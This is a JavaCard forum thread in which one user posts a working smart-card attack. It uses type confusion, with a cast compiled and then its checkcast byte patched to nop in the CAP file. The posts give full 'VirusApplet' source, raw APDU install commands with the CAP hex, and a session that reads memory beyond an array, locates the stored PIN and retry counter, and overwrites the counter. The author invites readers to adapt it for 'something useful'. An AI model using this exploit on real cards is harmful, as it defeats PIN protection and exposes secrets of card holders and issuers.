Our Online Store have the new products: RFID antenna board. Currently it can work with JC10M24R and JCOP4 card chips.
Compared with normal cards, the antenna board module has a smaller size and fixed holes, which is easy to integrate in the IOT(Internet Of Things) project.

Research Findings about viciousness CAP file

JavaCard Applet Development Related Questions and Answers.
User avatar
marjkbadboy
Posts: 33
Joined: Fri Jul 31, 2015 2:47 am
Points :217
Contact:

Research Findings about viciousness CAP file

Post by marjkbadboy » Thu Aug 30, 2018 1:50 am

Just share some research findings.Any comments, please feel free to address here.

This article describes an applet that can attack java cards. It introduces the key technology of this attack method in detail, and the specific operating steps and the purpose of each step as well.

Although this demo I demonstrated is not very useful, the purpose is to show you the feasibility of this attack technique, and you can do something useful with a little modification.

Firstly, I will introduce the principle of this attack example in the most brief way, then the applet source code and attack steps.
It's hunting season!

User avatar
marjkbadboy
Posts: 33
Joined: Fri Jul 31, 2015 2:47 am
Points :217
Contact:

Re: Research Findings about viciousness CAP file

Post by marjkbadboy » Thu Aug 30, 2018 2:12 am

1. Principle

Create a byte array

Code: Select all

char[] byteArray = new byte[8]; //The longer of the array you set, the more secret you can pry in the future.
Create a short array.

Code: Select all

short[] shortArray = new byte[1]; //You can set this array with any length you want.
Type confusion (that is, assign an object of type A to an object of type B, and then access it in the way of type B)

Code: Select all

shortArray = byteArray; //The specific method will be introduced later.
Then now you can use shortArray to access byteArray. The data you can get is twice as much as before (because 1 short == 2 byte), which is the core of this attack technology.


Read all the 8 elements of the shortArray.

Code: Select all

00 00 00 00 00 00 00 00 32 03 15 20 00 13 01 21
The first 8 zeros are the initial values of byteArray, and the next 8 data are extra read, because 8 shorts are twice as large as 8 bytes. What the attackers really want is the latter 8 bytes of data, because there may include sensitive data. Although it is unlikely that important information exists in these 8 bytes, if we enlarge the length of the byteArray, what will happen?

Try to do some tests to observe the change of the latter 8 bytes. The purpose is to locate the location of sensitive data, and then modify it. The modified method is through the shortArray too. For example, shortArray[4] = 1234, the original 32 03 is changed to 12 34.

The key technical point of the above is how to convert byte[]to short[]. Here are two steps:

(1)JAVA code

Code: Select all

byte[] byteArray;
short[] shortArray;
Object tm = byteArray;
shortArray = (short[])tm; // Generate checkcast command
Although the above JAVA code is strange, it can be compiled normally. To complete the type confusion, please continue the following step.

(2) Manually modify CAP
Replace the checkcast command with nop, otherwise the VM will throw an exception directly when executing the “shortArray = (short[])tm” .

After the above two steps, you can read shortArray now.
It's hunting season!

User avatar
marjkbadboy
Posts: 33
Joined: Fri Jul 31, 2015 2:47 am
Points :217
Contact:

Re: Research Findings about viciousness CAP file

Post by marjkbadboy » Thu Aug 30, 2018 11:24 pm

CAP code

Code: Select all

package Virus;

import javacard.framework.APDU;
import javacard.framework.ISO7816;
import javacard.framework.Applet;
import javacard.framework.ISOException;
import javacard.framework.Util;
import javacard.framework.OwnerPIN;

public class VirusApplet extends Applet
{
private final static byte READ_BYTE_ARRAY = 0x00;
private final static byte READ_SHORT_ARRAY = 0x01;
private final static byte TYPE_CONFUSION = 0x10;
private final static byte WRITE_DATA = 0x20;
private final static byte PIN_OPERATION = 0x30;
private final static byte PIN_OPERATION_P1_SET = 0x00;
private final static byte PIN_OPERATION_P1_VERIFY = 0x01;
private final static byte PIN_OPERATION_P1_GETTRY = 0x02;
private byte[] byteArray;
private short[] shortArray;
private OwnerPIN pin;
public VirusApplet()
{ 
byteArray = new byte[(short)0x0080];
shortArray = new short[(short)4];
pin = new OwnerPIN((byte)3, (byte)0x10);
for (short i = 0; i < byteArray.length; i++)
{
byteArray[i] = (byte)i;
}
for (short i = 0; i < shortArray.length; i++)
{
shortArray[i] = (short)0x4444;
}
}
public static void install(byte[] bArray, short bOffset, byte bLength)
{
// GP-compliant JavaCard applet registration
new Virus.VirusApplet().register(bArray, (short) (bOffset + 1), bArray[bOffset]);
}

public void process(APDU apdu)
{
// Good practice: Return 9000 on SELECT
if (selectingApplet())
{
return;
}

byte[] buf = apdu.getBuffer();
switch (buf[ISO7816.OFFSET_INS])
{
/*
* Read Array in bytes[]
* P1 - length
*/
case READ_BYTE_ARRAY:
Util.arrayCopy(byteArray, (short)0, buf, ISO7816.OFFSET_CDATA, buf[ISO7816.OFFSET_P1]);
apdu.setOutgoingAndSend(ISO7816.OFFSET_CDATA, buf[ISO7816.OFFSET_P1]);
break;

/*
* Read byteArray in short[]
* P1 - length
*/
case READ_SHORT_ARRAY:
for (short i = 0; i < buf[ISO7816.OFFSET_P1]; i++)
{
//When the 77 security COS executes shortArray[i], it can successfully detect that the VM is reading short[] in other types. That is to say, it’s being attacked, so resets directly.

buf[(short)(ISO7816.OFFSET_CDATA+i*2)] = (byte)(shortArray[i] >> 8);
buf[(short)(ISO7816.OFFSET_CDATA+i*2+1)] = (byte)shortArray[i];
}
apdu.setOutgoingAndSend(ISO7816.OFFSET_CDATA, (short)(buf[ISO7816.OFFSET_P1]*2));
break;

/*
*Confusion: There is a type modification here. Obviously, Java code here *is very strange, that’s because it’s used to tamper the type.

* 1. Java Code: Assign the value of byte[] to short[] forcibly by Object.
* 2. Replace the checkcast command in the CAP with the nop command manually.( Here, pls replace 94 0c with 00 00)
*/
case TYPE_CONFUSION:
Object tm = byteArray;
shortArray = (short[])tm; // Generate checkcast command
break;

/*
* Write command: Used to tamper sensitive data when locating sensitive *data
* P1 - offset
*/
case WRITE_DATA:
apdu.setIncomingAndReceive();
for (short i = 0; i < buf[ISO7816.OFFSET_LC] / 2; i+=2)
{
short tmp = buf[ISO7816.OFFSET_CDATA + 0];
tmp <<= 8;
tmp |= buf[ISO7816.OFFSET_CDATA + 0 + 1];
shortArray[(short)((byteArray.length/2)+buf[ISO7816.OFFSET_P1])] = tmp;
}
break;

/* PIN code operation
*The PIN code here is sensitive data, and can perform related operations * to observe the change of the data, even if it is wrong, so as to finally *locate the sensitive data.
*/
case PIN_OPERATION:
switch (buf[ISO7816.OFFSET_P1])
{
// Set PIN
case PIN_OPERATION_P1_SET:
apdu.setIncomingAndReceive();
pin.update(buf, (short)ISO7816.OFFSET_CDATA, (byte)8);
break;
// Verify PIN
case PIN_OPERATION_P1_VERIFY:
apdu.setIncomingAndReceive();
if (pin.check(buf, (short)ISO7816.OFFSET_CDATA, (byte)8) == false)
{
ISOException.throwIt(ISO7816.SW_WRONG_DATA);
}
break;
// Get available number of attempts of PIN code verification

case PIN_OPERATION_P1_GETTRY:
buf[ISO7816.OFFSET_CDATA] = pin.getTriesRemaining();
apdu.setOutgoingAndSend((short)ISO7816.OFFSET_CDATA, (short)1);
break;
default:
ISOException.throwIt(ISO7816.SW_INCORRECT_P1P2);
break;
}
break;

default:
// good practice: If you don't know the INStruction, say so:
ISOException.throwIt(ISO7816.SW_INS_NOT_SUPPORTED);
}
}
}
It's hunting season!

User avatar
marjkbadboy
Posts: 33
Joined: Fri Jul 31, 2015 2:47 am
Points :217
Contact:

Re: Research Findings about viciousness CAP file

Post by marjkbadboy » Fri Aug 31, 2018 2:44 am

Watch & Learn

1. Download and install applet
2. Send APDU command when attacking

=>RESET
=>00A40400 00
=>AUTH

=>80 e6 02 00 12 05 11 22 33 44 55 08 a0 00 00 00 03 00 00 00 00 00 00

=>80 e8 00 00 ef c4 82 02 68 01 00 15 de ca ff ed 02 02 04 00 01 05 11 22 33 44 55 05 56 69 72 75 73 02 00 21 00 15 00 21 00 0a 00 0b 00 4a 00 0e 01 76 00 0a 00 2a 00 00 00 91 04 44 00 00 00 00 00 00 01 01 00 04 00 0b 01 03 01 07 a0 00 00 00 62 01 01 03 00 0a 01 06 11 22 33 44 55 66 00 4a 06 00 0e 00 00 00 80 03 03 00 03 07 01 00 00 00 5e 07 01 76 00 05 11 18 8c 00 03 18 11 00 80 90 0b 87 00 18 07 90 0c 87 01 18 8f 00 04 3d 06 10 10 8c 00 05 87 02 03 30 70 0b ad 00 1d 1d 5b 38 59 01 01 1d ad 00 92 6c f3 03 30 70 0c ad 01 1d 11 44 44 39 59 01 01 1d ad 01 92 6c f2 7a 05 30 8f 00 06 3d 8c 00 07 18 1d 04 41 18 1d 25 8b 00 08 7a 06 24 18 8b 00 09 60 03 7a 19 8b 00 0a 2d 1a 04 25 75 01 00 00 05 00 00 00 19 00 01 00 30 00 10 00 67

=>80 e8 00 01 ef 00 20 00 75 00 30 00 b0 ad 00 03 1a 08 1a 05 25 8d 00 0b 3b 19 08 1a 05 25 8b 00 0c a8 00 d9 03 32 70 22 1a 08 1f 05 45 41 ad 01 1f 26 10 08 4f 5b 38 1a 08 1f 05 45 41 04 41 ad 01 1f 26 5b 38 59 03 01 1f 1a 05 25 6c dc 19 08 1a 05 25 05 45 8b 00 0c a8 00 a2 ad 00 2e 18 1b 00 00 00 00 87 01 a8 00 94 19 8b 00 0d 3b 03 29 04 70 28 1a 08 25 29 05 16 05 10 08 4d 29 05 16 05 1a 10 06 25 55 29 05 ad 01 ad 00 92 05 47 1a 05 25 41 16 05 39 59 04 02 16 04 1a 07 25 05 47 6c d3 70 58 1a 05 25 73 00 45 00 00 00 02 00 0d 00 1d 00 35 19 8b 00 0d 3b ad 02 1a 08 10 08 8b 00 0e 70 38 19 8b 00 0d 3b ad 02 1a 08 10 08 8b 00 0f 61 28 11 6a 80 8d 00 10 70 20 1a 08 ad 02 8b 00 11 38 19 08 04 8b 00 0c 70 10 11 6a 86 8d 00 10 70 08

=>80 e8 80 02 8e 11 6d 00 8d 00 10 7a 08 00 0a 00 00 00 00 00 00 00 00 00 00 05 00 4a 00 12 02 00 02 00 02 00 02 01 02 00 02 02 06 80 03 00 01 80 09 00 06 80 09 00 01 00 02 00 06 00 00 01 03 80 03 02 03 80 03 03 03 80 0a 01 06 80 10 01 03 80 0a 08 03 80 0a 06 03 80 09 08 03 80 09 01 06 80 07 01 03 80 09 02 09 00 2a 00 11 0e 06 0d 06 0a 09 0b 44 21 11 1c 09 24 02 2f 10 15 00 15 05 12 07 2f 04 0a 07 07 28 09 37 15 4b 0a 06 0a 08 09 07 08 08

=>80 e6 0c 00 1A 05 11 22 33 44 55 06 11 22 33 44 55 66 06 11 22 33 44 55 66 01 00 02 c9 00 00

=>00 a4 04 00 06 11 22 33 44 55 66

#Read data of byte[]
=>00007F00 00
<= 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f
30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f
40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f
50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f
60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f
70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 90
00

#Type confusion byte[] -> short[]
=>00100000 00

#Read byte[] in short[] type
=>00017F00 00
<= 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f
30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f
40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f
50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f
60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f
70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f
a0 02 00 04 44 44 44 44 44 44 44 44 20 02 00 6d
01 00 00 a2 00 a4 00 a3 03 00 10 00 10 00 00 00
80 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 80 02 00 01 03 01 00 00 72 02 00 01
01 5e 00 90 2c 00 00 b0 01 00 00 a6 80 00 00 06
11 22 33 44 55 66 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00

#Set PIN
=>00300000 08 1122334455667788

#Read byte[] in short[] type and observe changes of subsequent data
=>00017F00 00
<= 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f
30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f
40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f
50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f
60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f
70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f
a0 02 00 04 44 44 44 44 44 44 44 44 20 02 00 6d
01 00 00 a2 00 a4 00 a3 03 00 10 00 08 00 00 00
80 02 00 10 11 22 33 44 55 66 77 88 00 00 00 00
00 00 00 00 80 02 00 01 03 01 00 00 72 02 00 01
01 5e 00 90 2c 00 00 b0 01 00 00 a6 80 00 00 06
11 22 33 44 55 66 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00

#Verify PIN and use the wrong PIN to locate triesLeft
=>00300100 08 1122334455667777

# Read byte[] in short[] type again and and observe changes of subsequent data
=>00017F00 00
<= 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f
30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f
40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f
50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f
60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f
70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f
a0 02 00 04 44 44 44 44 44 44 44 44 20 02 00 6d
01 00 00 a2 00 a4 00 a3 03 00 10 00 08 00 00 00
80 02 00 10 11 22 33 44 55 66 77 88 00 00 00 00
00 00 00 00 80 02 00 01 02 01 00 00 72 02 00 01
01 5e 00 90 2c 00 00 b0 01 00 00 a6 80 00 00 06
11 22 33 44 55 66 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 00

#Tamper triesLeft,P1 is offset of triesLeft.
Be careful in this step. If doing wrong operation, the card may not be used any more. 7F is the triesLeft after tampering. The following 01 is the original value of the latter byte of triesLeft in NVM. Our purpose is to write the bytes of triesLeft, but actually we have written a short, so we don't care about the latter byte, it must keep the original value.

=>00203200 02 7F01
It's hunting season!

barley
Posts: 4
Joined: Tue Jul 10, 2018 6:42 am
Points :640
Contact:

Re: Research Findings about viciousness CAP file

Post by barley » Fri Aug 31, 2018 3:01 am

Will study your research. Many thanks for sharing.

User avatar
mabel
Posts: 237
Joined: Mon May 18, 2015 3:09 am
Points :1705
Contact:

Re: Research Findings about viciousness CAP file

Post by mabel » Thu Sep 13, 2018 4:42 am

Thanks for sharing! :D

Post Reply Previous topicNext topic

Who is online

Users browsing this forum: No registered users and 53 guests

JavaCard OS : Disclaimer